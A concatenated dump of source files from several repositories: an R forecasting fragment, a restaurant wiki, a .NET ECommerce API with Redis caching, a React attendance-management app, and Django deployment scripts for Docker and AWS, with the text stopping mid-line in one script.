lines(auto_arima_pred_apac_quantity_, col = "red") #Conclusion:Using Classification Decomposition for QUANTITY forecast: #with Moving Average Smoothing getting MAPE:22.08 #With Exponential Smoothing getting MAPE:24.30 #Using ARIMA Fit Model:26.24 ############################## # Thus,Selecting Models for Sales and Quantity for both Segment based on LOWER MAPE: # For "SALES" in EU_Consumer Segment using model Classification Decomposition With Exponential Smoothing getting MAPE:25.37 # For "Quantity" in EU_Consumer Segment using model Classification Decomposition with Moving Average Smoothing getting MAPE: 26.31 #For "SALES" in APAC_Consumer Segment using model Classification Decomposition using Exponential Smoothing getting MAPE:18.80 #For "Quantity" in APAC_Consumer Segment using model Classification Decomposition with Moving Average Smoothing getting MAPE:22.08
131e59be1dcb5b0bb1acea065c348734adb28e4d
[ "Markdown", "R" ]
2
Markdown
batm44/Time-Series-Forecast
43e3c54fa99f41db96703b4c8bb3da2f0c205486
d303c2f77d66b16d2eea28d3bc39230c3b83ae32
refs/heads/master
<repo_name>timeswind/cssa_food_map_wiki<file_sep>/si-chuan-ren-jia.md # 四川人家 | key | value | | :--- | :--- | | name | 四川人家 | | location | 228 W College Ave, State College, PA 16801 | | coordinate | @40.7926305,-77.8642705 | | mon | 11:00–21:45 | | tue | 11:00–21:45 | | wed | 11:00–21:45 | | thur | 11:00–21:45 | | fri | 11:00–21:15 | | sat | 11:00–21:15 | | sun | 11:30–21:00 | | sponsor | false | | website | https://littleszechuanstatecollege.com | | phone | \(814\) 308-9906 | ![<NAME>](.gitbook/assets/image.png) 餐厅介绍。。。。。。 餐厅照片。。。。。。 <file_sep>/deploy.js var copydir = require("copy-dir"); var fs = require("fs"); finalStep() function finalStep() { //把图片移除隐藏文件夹 if (fs.existsSync("./.gitbook")) { copydir.sync("./.gitbook", "./gitbook"); } }<file_sep>/SUMMARY.md # Table of contents * [样板](README.md) * [四川人家](si-chuan-ren-jia.md)
dc88a7108a2d4fdcfa6eea69dbee361dadf19f50
[ "Markdown", "JavaScript" ]
3
Markdown
timeswind/cssa_food_map_wiki
72a2dcad1d5814fd8f4247161293aabf859feb21
bb6a3a1d3d7957227fe0c213b9bfd38de8449626
refs/heads/main
<repo_name>Sefikcan/Kanbersky.K8S<file_sep>/README.md # Kanbersky.K8S <file_sep>/src/services/Catalog/ECommerce.Application/DTO/Request/CreateProductRequestModel.cs using System; namespace ECommerce.Application.DTO.Request { public class CreateProductRequestModel { public CreateProductRequestModel() { Id = Guid.NewGuid(); } public Guid Id { get; private set; } public string Name { get; set; } public decimal Price { get; set; } } } <file_sep>/src/ECommerce.Common/Entities/IEntity.cs namespace ECommerce.Common.Entities { public interface IEntity { } } <file_sep>/docker-compose.yml version: '3.4' services: productvdb: image: redis:latest ecommerce.api: image: ${DOCKER_REGISTRY-}ecommerceapi build: context: . dockerfile: src/ECommerce.Api/Dockerfile volumes: ecommerce-postgres-data: <file_sep>/src/ECommerce.Common/Settings/Concrete/SwaggerSettings.cs using ECommerce.Common.Settings.Abstract; using Microsoft.OpenApi.Models; namespace ECommerce.Common.Settings.Concrete { public class SwaggerSettings : OpenApiInfo, ISettings { } } <file_sep>/src/services/Catalog/ECommerce.Common/Caching/Concrete/Redis/RedisCacheService.cs using ECommerce.Common.Caching.Abstract; using Microsoft.Extensions.Caching.Distributed; using System; using System.Text; using System.Threading.Tasks; using Newtonsoft.Json; namespace ECommerce.Common.Caching.Concrete.Redis { public class RedisCacheService : ICacheService { private readonly IDistributedCache _distributedCache; public RedisCacheService(IDistributedCache distributedCache) { _distributedCache = distributedCache; } public void Add(string key, object data, double duration) { var serializedItems = JsonConvert.SerializeObject(data); var byteItems = Encoding.UTF8.GetBytes(serializedItems); var options = new DistributedCacheEntryOptions { AbsoluteExpiration = DateTime.Now.AddMinutes(duration), //Cache süresi //AbsoluteExpirationRelativeToNow = TimeSpan.FromSeconds(5), // Redis’de ilgili keye ait cache’in mutlaka yani işlem yapılsın ya da yapılmasın 5sn sonunda düşeceğinin belirlenmesidir. //SlidingExpiration = TimeSpan.FromSeconds(10) //Redis’de ilgili key ile belli bir zaman mesela bu örnekte 5sn içinde hiçbir işlem yapılmaz ise, cache’in düşeceğinin belirlenmesidir. }; _distributedCache.Set(key, byteItems, options); } public async Task AddAsync(string key, object data, double duration) { var serializedItems = JsonConvert.SerializeObject(data); var byteItems = Encoding.UTF8.GetBytes(serializedItems); var options = new DistributedCacheEntryOptions { AbsoluteExpiration = DateTime.Now.AddMinutes(duration), //Cache süresi //AbsoluteExpirationRelativeToNow = TimeSpan.FromSeconds(5), // Redis’de ilgili keye ait cache’in mutlaka yani işlem yapılsın ya da yapılmasın 5sn sonunda düşeceğinin belirlenmesidir. //SlidingExpiration = TimeSpan.FromSeconds(10) //Redis’de ilgili key ile belli bir zaman mesela bu örnekte 5sn içinde hiçbir işlem yapılmaz ise, cache’in düşeceğinin belirlenmesidir. }; await _distributedCache.SetAsync(key, byteItems, options); } public T Get<T>(string key) { var getCacheResponse = _distributedCache.Get(key); if (getCacheResponse != null) { var objectString = Encoding.UTF8.GetString(getCacheResponse); return JsonConvert.DeserializeObject<T>(objectString); } return default; } public async Task<T> GetAsync<T>(string key) { var getCacheResponse = await _distributedCache.GetAsync(key); if (getCacheResponse != null) { var objectString = Encoding.UTF8.GetString(getCacheResponse); return JsonConvert.DeserializeObject<T>(objectString); } return default; } public object Get(string key) { var getCacheResponse = _distributedCache.Get(key); if (getCacheResponse != null) { var objectString = Encoding.UTF8.GetString(getCacheResponse); return JsonConvert.DeserializeObject<object>(objectString); } return null; } public async Task<object> GetAsync(string key) { var getCacheResponse = await _distributedCache.GetAsync(key); if (getCacheResponse != null) { var objectString = Encoding.UTF8.GetString(getCacheResponse); return JsonConvert.DeserializeObject<object>(objectString); } return null; } public bool IsExists(string key) { return _distributedCache.Get(key) != null ? true : false; } public async Task<bool> IsExistsAsync(string key) { return await _distributedCache.GetAsync(key) != null ? true : false; } public void Remove(string key) { _distributedCache.Remove(key); } public async Task RemoveAsync(string key) { await _distributedCache.RemoveAsync(key); } } } <file_sep>/src/ECommerce.Infrastructure/Entities/Product.cs using ECommerce.Common.Entities; using System.ComponentModel.DataAnnotations.Schema; namespace ECommerce.Infrastructure.Entities { [Table("products", Schema = "products")] public class Product : IEntity { public int Id { get; set; } public string Name { get; set; } public decimal Price { get; set; } } } <file_sep>/src/services/Catalog/ECommerce.Common/Settings/Concrete/ProductDbSettings.cs using ECommerce.Common.Settings.Abstract; namespace ECommerce.Common.Settings.Concrete { public class ProductDbSettings : ISettings { public string Host { get; set; } public int Port { get; set; } } } <file_sep>/src/ECommerce.Common/Extensions/CommonLayerExtension.cs using ECommerce.Common.Caching.Abstract; using ECommerce.Common.Caching.Concrete.Redis; using ECommerce.Common.Settings.Concrete; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.ApiExplorer; using Microsoft.AspNetCore.Mvc.Versioning; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.OpenApi.Models; using System; using System.IO; using System.Linq; using System.Reflection; namespace ECommerce.Common.Extensions { public static class CommonLayerExtension { public static IServiceCollection AddCommonLayer(this IServiceCollection services, IConfiguration configuration) { ProductDbSettings productDbSettings = new ProductDbSettings(); configuration.GetSection(nameof(ProductDbSettings)).Bind(productDbSettings); services.AddSingleton(productDbSettings); services.AddSingleton<ICacheService, RedisCacheService>(); services.AddStackExchangeRedisCache(opt => { opt.Configuration = productDbSettings.Host; }); SwaggerSettings swaggerSettings = new SwaggerSettings(); configuration.GetSection(nameof(SwaggerSettings)).Bind(swaggerSettings); services.AddSingleton(swaggerSettings); services.AddApiVersioning(cfg => { //Header'a api version bilgisini ekler. Deprecate'ler dahil cfg.ReportApiVersions = true; cfg.ApiVersionReader = new UrlSegmentApiVersionReader(); cfg.DefaultApiVersion = new ApiVersion(1, 0); //Api sürümü belirtilmezse varsayılan kullanılır. cfg.AssumeDefaultVersionWhenUnspecified = true; }); services.AddVersionedApiExplorer(cfg => { cfg.GroupNameFormat = "'v'VVV"; cfg.SubstituteApiVersionInUrl = true; cfg.AssumeDefaultVersionWhenUnspecified = true; }); services.AddControllers().AddJsonOptions(options => { options.JsonSerializerOptions.PropertyNameCaseInsensitive = true; }); services.AddSwaggerGen(c => { var provider = services.BuildServiceProvider(); var service = provider.GetRequiredService<IApiVersionDescriptionProvider>(); foreach (ApiVersionDescription desc in service.ApiVersionDescriptions) { c.SwaggerDoc(desc.GroupName, CreateInfoForApiVersion(desc, swaggerSettings)); } var xmlFile = $"{ Assembly.GetEntryAssembly().GetName().Name}.xml"; var xmlPath = Path.Combine(AppContext.BaseDirectory, xmlFile); c.IncludeXmlComments(xmlPath); c.ResolveConflictingActions(apc => apc.First()); }); return services; } /// <summary> /// /// </summary> /// <param name="app"></param> /// <param name="env"></param> /// <param name="apiVersionDescriptionProvider"></param> /// <returns></returns> public static IApplicationBuilder UseCommonLayer(this IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider apiVersionDescriptionProvider) { app.UseSwagger(c => { c.RouteTemplate = "/swagger/{documentName}/swagger.json"; }); app.UseSwaggerUI(c => { foreach (ApiVersionDescription desc in apiVersionDescriptionProvider.ApiVersionDescriptions) { c.SwaggerEndpoint($"/swagger/{desc.GroupName}/swagger.json", desc.GroupName.ToLowerInvariant()); } }); app.UseHttpsRedirection(); app.UseRouting(); app.UseAuthorization(); app.UseEndpoints(endpoints => { endpoints.MapControllers(); }); return app; } private static OpenApiInfo CreateInfoForApiVersion(ApiVersionDescription description, SwaggerSettings swaggerSettings) { var info = new OpenApiInfo() { Title = swaggerSettings.Title, Version = description.ApiVersion.ToString() }; if (description.IsDeprecated) { info.Description += " This API version has been deprecated."; } return info; } } } <file_sep>/src/ECommerce.Application/Queries/GetProductsQuery.cs using ECommerce.Application.DTO.Response; using ECommerce.Common.Caching.Abstract; using ECommerce.Common.Mappings.Abstract; using ECommerce.Infrastructure.Entities; using MediatR; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; namespace ECommerce.Application.Queries { public class GetProductsQuery : IRequest<List<ProductResponseModel>> { } public class GetProductsQueryHandler : IRequestHandler<GetProductsQuery, List<ProductResponseModel>> { private readonly ICacheService _cacheService; private readonly IKanberskyMapping _mapper; public GetProductsQueryHandler(ICacheService cacheService, IKanberskyMapping mapper) { _cacheService = cacheService; _mapper = mapper; } public async Task<List<ProductResponseModel>> Handle(GetProductsQuery request, CancellationToken cancellationToken) { var response = await _cacheService.GetAsync("test") as List<Product>; return _mapper.Map<List<Product>, List<ProductResponseModel>>(response); } } } <file_sep>/src/ECommerce.Common/Settings/Abstract/ISettings.cs namespace ECommerce.Common.Settings.Abstract { public interface ISettings { } } <file_sep>/src/services/Catalog/ECommerce.Application/Extensions/ApplicationLayerExtension.cs using ECommerce.Application.Mappings.AutoMapper; using ECommerce.Common.Mappings.Abstract; using MediatR; using Microsoft.Extensions.DependencyInjection; using System.Reflection; namespace ECommerce.Application.Extensions { public static class ApplicationLayerExtension { public static IServiceCollection AddApplicationLayer(this IServiceCollection services) { services.AddSingleton<IKanberskyMapping, AutoMapping>(); services.AddMediatR(Assembly.GetExecutingAssembly()); return services; } } } <file_sep>/src/services/Catalog/ECommerce.Application/DTO/Response/ProductResponseModel.cs using System; namespace ECommerce.Application.DTO.Response { public class ProductResponseModel { public Guid Id { get; set; } public string Name { get; set; } public decimal Price { get; set; } } } <file_sep>/src/ECommerce.Application/Mappings/AutoMapper/ApplicationProfile.cs using AutoMapper; using ECommerce.Application.DTO.Response; using ECommerce.Infrastructure.Entities; namespace ECommerce.Application.Mappings.AutoMapper { public class ApplicationProfile : Profile { public ApplicationProfile() { CreateMap<Product, ProductResponseModel>().ReverseMap(); } } } <file_sep>/src/services/Customer/Customer.Application/ApplicationLayerExtension.cs using System; using System.Collections.Generic; using System.Text; namespace Customer.Application { public static class ApplicationLayerExtension { } } <file_sep>/src/services/Catalog/ECommerce.Application/Commands/CreateProductCommand.cs using ECommerce.Application.DTO.Request; using ECommerce.Application.DTO.Response; using ECommerce.Common.Caching.Abstract; using MediatR; using System.Threading; using System.Threading.Tasks; namespace ECommerce.Application.Commands { public class CreateProductCommand : IRequest<ProductResponseModel> { public CreateProductRequestModel CreateProductRequest { get; set; } public CreateProductCommand(CreateProductRequestModel createProductRequest) { CreateProductRequest = createProductRequest; } } public class CreateProductCommandHandler : IRequestHandler<CreateProductCommand, ProductResponseModel> { private readonly ICacheService _cacheService; public CreateProductCommandHandler(ICacheService cacheService) { _cacheService = cacheService; } public async Task<ProductResponseModel> Handle(CreateProductCommand request, CancellationToken cancellationToken) { await _cacheService.AddAsync($"test", request.CreateProductRequest, 3000); return new ProductResponseModel { Id = request.CreateProductRequest.Id, Name = request.CreateProductRequest.Name, Price = request.CreateProductRequest.Price }; } } } <file_sep>/src/services/Catalog/ECommerce.Common/Caching/Abstract/ICacheService.cs using System.Threading.Tasks; namespace ECommerce.Common.Caching.Abstract { public interface ICacheService { T Get<T>(string key); Task<T> GetAsync<T>(string key); object Get(string key); Task<object> GetAsync(string key); void Add(string key, object data, double duration); Task AddAsync(string key, object data, double duration); bool IsExists(string key); Task<bool> IsExistsAsync(string key); void Remove(string key); Task RemoveAsync(string key); } } <file_sep>/src/services/Catalog/ECommerce.Api/Controllers/v1/ProductsController.cs using ECommerce.Application.Commands; using ECommerce.Application.DTO.Request; using ECommerce.Application.DTO.Response; using ECommerce.Application.Queries; using Kanbersky.Common.Results.ApiResponses.Concrete; using MediatR; using Microsoft.AspNetCore.Mvc; using System.Collections.Generic; using System.Net; using System.Threading.Tasks; namespace ECommerce.Api.Controllers { /// <summary> /// /// </summary> [Route("api/v{version:apiVersion}/products")] [ApiController] public class ProductsController : KanberskyControllerBase { private readonly IMediator _mediator; /// <summary> /// ctor /// </summary> /// <param name="mediator"></param> public ProductsController(IMediator mediator) { _mediator = mediator; } /// <summary> /// Get Products Info /// </summary> /// <returns></returns> [HttpGet] [MapToApiVersion("1.0")] [ProducesResponseType(typeof(List<ProductResponseModel>), (int)HttpStatusCode.OK)] public async Task<IActionResult> GetProducts() { var response = await _mediator.Send(new GetProductsQuery()); return ApiOk(response); } /// <summary> /// Create Product Operation /// </summary> /// <param name="createProductRequest"></param> /// <returns></returns> [HttpPost] [MapToApiVersion("1.0")] [ProducesResponseType(typeof(ProductResponseModel), (int)HttpStatusCode.Created)] public async Task<IActionResult> CreateProduct(CreateProductRequestModel createProductRequest) { var response = await _mediator.Send(new CreateProductCommand(createProductRequest)); return ApiCreated(response); } } } <file_sep>/src/ECommerce.Application/Mappings/AutoMapper/AutoMapping.cs using AutoMapper; using ECommerce.Common.Mappings.Abstract; namespace ECommerce.Application.Mappings.AutoMapper { public class AutoMapping : IKanberskyMapping { public TDestination Map<TSource, TDestination>(TSource source) { var mapperConfig = new MapperConfiguration(mc => { mc.AddProfile(new ApplicationProfile()); }); IMapper mapper = mapperConfig.CreateMapper(); return mapper.Map<TDestination>(source); } } }
f352c0a868f7684e8fa05854d5b6e3cea9faef71
[ "Markdown", "C#", "YAML" ]
19
Markdown
Sefikcan/Kanbersky.K8S
a5e5f2ab075faf0e7a5680f8dfd5f3f6e031d474
f889cb129cfff8523a91d3b6dbb69e4e9a302413
refs/heads/main
<repo_name>dulajkavinda/attendance-management<file_sep>/src/pages/Records.js import React, { useState, useEffect } from "react"; import Button from "@material-ui/core/Button"; import Typography from "@material-ui/core/Typography"; import { makeStyles } from "@material-ui/core/styles"; import AppBar from "@material-ui/core/AppBar"; import Toolbar from "@material-ui/core/Toolbar"; import IconButton from "@material-ui/core/IconButton"; import MenuIcon from "@material-ui/icons/Menu"; import axios from "axios"; import { Link } from "react-router-dom"; import "react-modern-calendar-datepicker/lib/DatePicker.css"; import { Calendar } from "react-modern-calendar-datepicker"; import { DataGrid } from "@material-ui/data-grid"; const useStylesNav = makeStyles((theme) => ({ root: { flexGrow: 1, }, menuButton: { marginRight: theme.spacing(2), }, title: { flexGrow: 1, }, })); const columns = [ { field: "id", headerName: "ID", width: 120 }, { field: "time", headerName: "Time", width: 200, editable: true, }, ]; export default function Records() { var d = new Date(); var date = d.getDate(); var month = d.getMonth() + 1; // Since getMonth() returns month from 0-11 not 1-12 var year = d.getFullYear(); const defaultValue = { year: year, month: month, day: date, }; const [selectedDay, setSelectedDay] = useState(defaultValue); const [attendance, setAttendance] = useState([]); useEffect(() => { axios .get("http://localhost:5000/attendance/all") .then((res) => { let cleaned = []; res.data.result.map((attendance) => { cleaned.push({ id: attendance.id, time: new Date(attendance.time).toLocaleString(), }); }); let current_date = new Date( selectedDay.year, selectedDay.month - 1, selectedDay.day ).toDateString(); console.log(current_date); const filtered = cleaned.filter((attendance) => { let date = new Date(attendance.time).toDateString(); return date === current_date; }); console.log(filtered); setAttendance(filtered); }) .catch((err) => { console.log(err); }); }, [selectedDay]); const classes_nav = useStylesNav(); return ( <div className="main_records"> <AppBar position="static"> <Toolbar> <IconButton edge="start" className={classes_nav.menuButton} color="inherit" aria-label="menu" > <MenuIcon /> </IconButton> <Typography variant="h6" className={classes_nav.title}> Attendance Management System </Typography> <Link to="/admin" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Home</Button> </Link> <Link to="/add" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Add Student</Button> </Link> <Link to="/students" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">All Students</Button> </Link> <Link to="/records" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">View Past Records</Button> </Link> <Link to="/info" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Info</Button> </Link> <Link to="/support" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Contact Support</Button> </Link> <Link to="/provacy" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Privacy</Button> </Link> </Toolbar> </AppBar> <div className="body_records"> <Calendar value={selectedDay} onChange={setSelectedDay} shouldHighlightWeekends /> <div style={{ height: 500, width: "20%" }}> <h3> {new Date( selectedDay.year, selectedDay.month - 1, selectedDay.day ).toDateString()} </h3> <DataGrid rows={attendance} columns={columns} pageSize={7} /> </div> </div> </div> ); } <file_sep>/src/pages/Admin.js import React, { useState, useEffect } from "react"; import "../App.css"; import { makeStyles } from "@material-ui/core/styles"; import axios from "axios"; import { DataGrid } from "@material-ui/data-grid"; import Card from "@material-ui/core/Card"; import CardActionArea from "@material-ui/core/CardActionArea"; import CardActions from "@material-ui/core/CardActions"; import CardContent from "@material-ui/core/CardContent"; import CardMedia from "@material-ui/core/CardMedia"; import Button from "@material-ui/core/Button"; import Typography from "@material-ui/core/Typography"; import AppBar from "@material-ui/core/AppBar"; import Toolbar from "@material-ui/core/Toolbar"; import IconButton from "@material-ui/core/IconButton"; import MenuIcon from "@material-ui/icons/Menu"; import { Link } from "react-router-dom"; const useStyles = makeStyles({ root: { width: 245, marginTop: 50, }, media: { height: 130, }, }); const useStylesNav = makeStyles((theme) => ({ root: { flexGrow: 1, }, menuButton: { marginRight: theme.spacing(2), }, title: { flexGrow: 1, }, })); const columns = [ { field: "id", headerName: "ID", width: 120 }, { field: "time", headerName: "Time", width: 200, editable: true, }, ]; export default function Admin() { const [attendance, setAttendance] = useState([]); useEffect(() => { axios .get("http://localhost:5000/attendance/all") .then((res) => { let cleaned = []; res.data.result.map((attendance) => { cleaned.push({ id: attendance.id, time: new Date(attendance.time).toLocaleString(), }); }); let current_date = new Date().toDateString(); const filtered = cleaned.filter((attendance) => { let date = new Date(attendance.time).toDateString(); console.log(current_date, date); return date === current_date; }); setAttendance(filtered); }) .catch((err) => { console.log(err); }); }, []); const classes = useStyles(); const classes_nav = useStylesNav(); return ( <div className="main_admin"> <AppBar position="static"> <Toolbar> <IconButton edge="start" className={classes_nav.menuButton} color="inherit" aria-label="menu" > <MenuIcon /> </IconButton> <Typography variant="h6" className={classes_nav.title}> Attendance Management System </Typography> <Link to="/admin" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Home</Button> </Link> <Link to="/add" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Add Student</Button> </Link> <Link to="/students" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">All Students</Button> </Link> <Link to="/records" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">View Past Records</Button> </Link> <Link to="/info" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Info</Button> </Link> <Link to="/support" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Contact Support</Button> </Link> <Link to="/provacy" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Privacy</Button> </Link> </Toolbar> </AppBar> <div className="body_admin"> <div style={{ height: 500, width: "25%" }}> <h3>Today</h3> <DataGrid rows={attendance} columns={columns} pageSize={7} /> </div> <div className="side"> <Card className={classes.root}> <CardActionArea> <CardMedia className={classes.media} image="./addnew.jpg" title="Contemplative Reptile" /> <CardContent> <Typography gutterBottom variant="h5" component="h2"> Add New Student </Typography> </CardContent> </CardActionArea> <CardActions> <Button size="small" color="primary"> ADD </Button> <Button size="small" color="primary"> Learn More </Button> </CardActions> </Card> <Card className={classes.root}> <CardActionArea> <CardMedia className={classes.media} image="./cal.jpg" title="Contemplative Reptile" /> <CardContent> <Typography gutterBottom variant="h5" component="h2"> Past Records </Typography> </CardContent> </CardActionArea> <CardActions> <Button size="small" color="primary"> View </Button> <Button size="small" color="primary"> Learn More </Button> </CardActions> </Card> </div> </div> </div> ); } <file_sep>/src/pages/AddStudent.js import React, { useState } from "react"; import { makeStyles } from "@material-ui/core/styles"; import TextField from "@material-ui/core/TextField"; import Button from "@material-ui/core/Button"; import axios from "axios"; import AppBar from "@material-ui/core/AppBar"; import Toolbar from "@material-ui/core/Toolbar"; import IconButton from "@material-ui/core/IconButton"; import MenuIcon from "@material-ui/icons/Menu"; import Typography from "@material-ui/core/Typography"; import { Link } from "react-router-dom"; const useStyles = makeStyles((theme) => ({ root: { flexGrow: 1, }, menuButton: { marginRight: theme.spacing(2), }, title: { flexGrow: 1, }, })); export default function AddStudent() { const [id, setid] = useState(""); const [name, setname] = useState(""); const [classes, setclass] = useState(""); const [files, setfiles] = useState(null); const submit = () => { const formData = new FormData(); formData.append("name", name); formData.append("class", classes); formData.append("id", id); formData.append("studentImage", files); axios .post("http://localhost:5000/student/registerStudent", formData, {}) .then((response) => { console.log(response.data); }); }; const classes_nav = useStyles(); return ( <div className="main_add"> <AppBar position="static"> <Toolbar> <IconButton edge="start" className={classes_nav.menuButton} color="inherit" aria-label="menu" > <MenuIcon /> </IconButton> <Typography variant="h6" className={classes_nav.title}> Attendance Management System </Typography> <Link to="/admin" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Home</Button> </Link> <Link to="/add" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Add Student</Button> </Link> <Link to="/students" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">All Students</Button> </Link> <Link to="/records" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">View Past Records</Button> </Link> <Link to="/info" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Info</Button> </Link> <Link to="/support" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Contact Support</Button> </Link> <Link to="/provacy" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Privacy</Button> </Link> </Toolbar> </AppBar> <h2 style={{ marginTop: "100px" }}>add new student</h2> <div className="form"> <TextField onChange={(e) => setid(e.target.value)} id="outlined-basic" label="ID Number" variant="outlined" /> <TextField onChange={(e) => setname(e.target.value)} id="outlined-basic" label="Name" variant="outlined" /> <TextField onChange={(e) => setclass(e.target.value)} id="outlined-basic" label="Class" variant="outlined" /> <input onChange={(e) => { setfiles(e.target.files[0]); }} multiple type="file" /> <Button onClick={submit} style={{ width: "10%", marginTop: "10px" }} variant="contained" color="secondary" > Add New Student </Button> </div> </div> ); } <file_sep>/src/pages/Students.js import React, { useEffect, useState } from "react"; import { makeStyles } from "@material-ui/core/styles"; import Table from "@material-ui/core/Table"; import TableBody from "@material-ui/core/TableBody"; import TableCell from "@material-ui/core/TableCell"; import TableContainer from "@material-ui/core/TableContainer"; import TableHead from "@material-ui/core/TableHead"; import TableRow from "@material-ui/core/TableRow"; import Paper from "@material-ui/core/Paper"; import Button from "@material-ui/core/Button"; import Typography from "@material-ui/core/Typography"; import AppBar from "@material-ui/core/AppBar"; import Toolbar from "@material-ui/core/Toolbar"; import IconButton from "@material-ui/core/IconButton"; import MenuIcon from "@material-ui/icons/Menu"; import { Link } from "react-router-dom"; import axios from "axios"; const useStyles = makeStyles({ table: { minWidth: 650, }, }); const useStylesNav = makeStyles((theme) => ({ root: { flexGrow: 1, }, menuButton: { marginRight: theme.spacing(2), }, title: { flexGrow: 1, }, })); export default function Student(props) { const deleteStudent = (id) => { const deleteStudentNow = async () => { await axios .post("http://localhost:5000/student/deleteStudent", { id: id }) .then((response) => { console.log(response.data); }); }; deleteStudentNow(); }; const classes = useStyles(); const classes_nav = useStylesNav(); return ( <div className="main_students"> <AppBar position="static"> <Toolbar> <IconButton edge="start" className={classes_nav.menuButton} color="inherit" aria-label="menu" > <MenuIcon /> </IconButton> <Typography variant="h6" className={classes_nav.title}> Attendance Management System </Typography> <Link to="/admin" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Home</Button> </Link> <Link to="/add" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Add Student</Button> </Link> <Button color="inherit">All Students</Button> <Link to="/records" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">View Past Records</Button> </Link> <Link to="/info" style={{ textDecoration: "none", color: "white" }}> <Button color="inherit">Info</Button> </Link> <Link to="/support" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Contact Support</Button> </Link> <Link to="/provacy" style={{ textDecoration: "none", color: "white" }} > <Button color="inherit">Privacy</Button> </Link> </Toolbar> </AppBar> <TableContainer style={{ width: "50%", marginTop:"100px" }} component={Paper}> <Table className={classes.table} aria-label="simple table"> <TableHead> <TableRow> <TableCell>Student ID</TableCell> <TableCell align="right">Name</TableCell> <TableCell align="right">Class</TableCell> <TableCell align="center">Actions</TableCell> </TableRow> </TableHead> <TableBody> {props.students.map((student) => { return ( <TableRow> <TableCell component="th" scope="row"> {student.id} </TableCell> <TableCell align="right">{student.name}</TableCell> <TableCell align="right">{student.class}</TableCell> <TableCell align="right"> <Button onClick={() => deleteStudent(student.id)} size="small" color="primary" > DELETE </Button> </TableCell> </TableRow> ); })} </TableBody> </Table> </TableContainer> </div> ); }
affb372e503ec17a747f968aed7d1f546e48c40f
[ "JavaScript" ]
4
JavaScript
dulajkavinda/attendance-management
19a2f95c54562ffed1150d0010a21bfd7657bcef
3bcf4bbc62564f78657f23a17df9abc107f39018
refs/heads/main
<repo_name>Vit-ts/Project<file_sep>/sync.sh #!/bin/bash check=1 sync_upload() { aws s3 sync media/images/ s3://$BACKET_NAME/ } sync_download() { aws s3 sync s3://$BACKET_NAME/ media/images/ } while : do sync_download if [ $check -eq 1 ]; then check=$(( $check - 1 )) count=`ls -l media/images/ | wc -l` fi if [ $count -ne `ls -l media/images/ | wc -l` ]; then sync_upload count=`ls -l media/images/ | wc -l` fi sleep 5 done <file_sep>/blog/forms.py from .models import Post from django.forms import ModelForm, TextInput, Textarea class PostForm(ModelForm): class Meta: model = Post fields = ('title', 'text', 'image') widgets = { "title": TextInput(attrs={ 'class': 'form-control', 'placeholder': 'Enter title' }), "text": Textarea(attrs={ 'class': 'form-control', 'placeholder': 'Enter text' }), } <file_sep>/user_data.sh #!/bin/bash cat <<EOF > /home/ec2-user/env.list ENDPOINT=${endpoint} BACKET_NAME=${backet_name} DATABASE_PASS=${database_pass} DATABASE_USER=${database_user} DATABASE_NAME=${database_name} SECRET_KEY=${secret_key} AWS_ACCESS_KEY_ID=${aws_access_key_id} AWS_SECRET_ACCESS_KEY=${aws_secret_access_key} region=${region} OUTPUT=${output} USER_DJANGO=${user_django} EMAIL_DJANGO=${email_django} PASS_DJANGO=${pass_django} EOF cat <<EOF >> /home/ec2-user/.bashrc export MY_IP=`curl ifconfig.me/ip` EOF export MY_IP=`curl ifconfig.me/ip` yum -y update yum -y install docker service docker start chkconfig docker on docker run --name terraform --rm -d -p 80:80 -e MY_IP=$MY_IP --env-file /home/ec2-user/env.list vitaly10kanivets/devops_project_web:${version} <file_sep>/curl_script.sh #!/bin/bash count=0 while true do result=`curl -v localhost:"$PORT" 2> /dev/null` sleep 2 if [ ! -z "$result" ]; then break; elif [ "$count" -eq 45 ]; then exit 1 fi echo "number of attampt is $count" count=$(( count + 1 )) done <file_sep>/Dockerfile FROM python:3.7-alpine ENV PYTHONUNBUFFERED 1 RUN mkdir /code WORKDIR /code COPY requirements.txt /code/ RUN apk update \ && apk add --virtual build-deps gcc python3-dev musl-dev \ && apk add --no-cache mariadb-dev \ && apk add jpeg-dev zlib-dev libjpeg RUN pip install -r requirements.txt COPY . /code/ RUN apk del build-deps RUN chmod ugo+x init.sh ENTRYPOINT ["sh","init.sh"] EXPOSE 80<file_sep>/requirements.txt Django==3.0.6 Pillow==7.0.0 mysqlclient==2.0.3 awscli<file_sep>/init.sh #!/bin/bash # User credentials user=$USER_DJANGO email=$EMAIL_DJANGO password=<PASSWORD> # migration python3 manage.py makemigrations python3 manage.py migrate # creation users echo "from django.contrib.auth.models import User; User.objects.create_superuser \ ('$user', '$email', '$password')" | python3 manage.py shell # downloading awcli and put credentials. mkdir ~/.aws cat <<EOF > ~/.aws/comfig [default] region = $REGION output = $OUTPUT EOF cat <<EOF > ~/.aws/credentials [default] aws_access_key_id = $AWS_ACCESS_KEY_ID aws_secret_access_key = 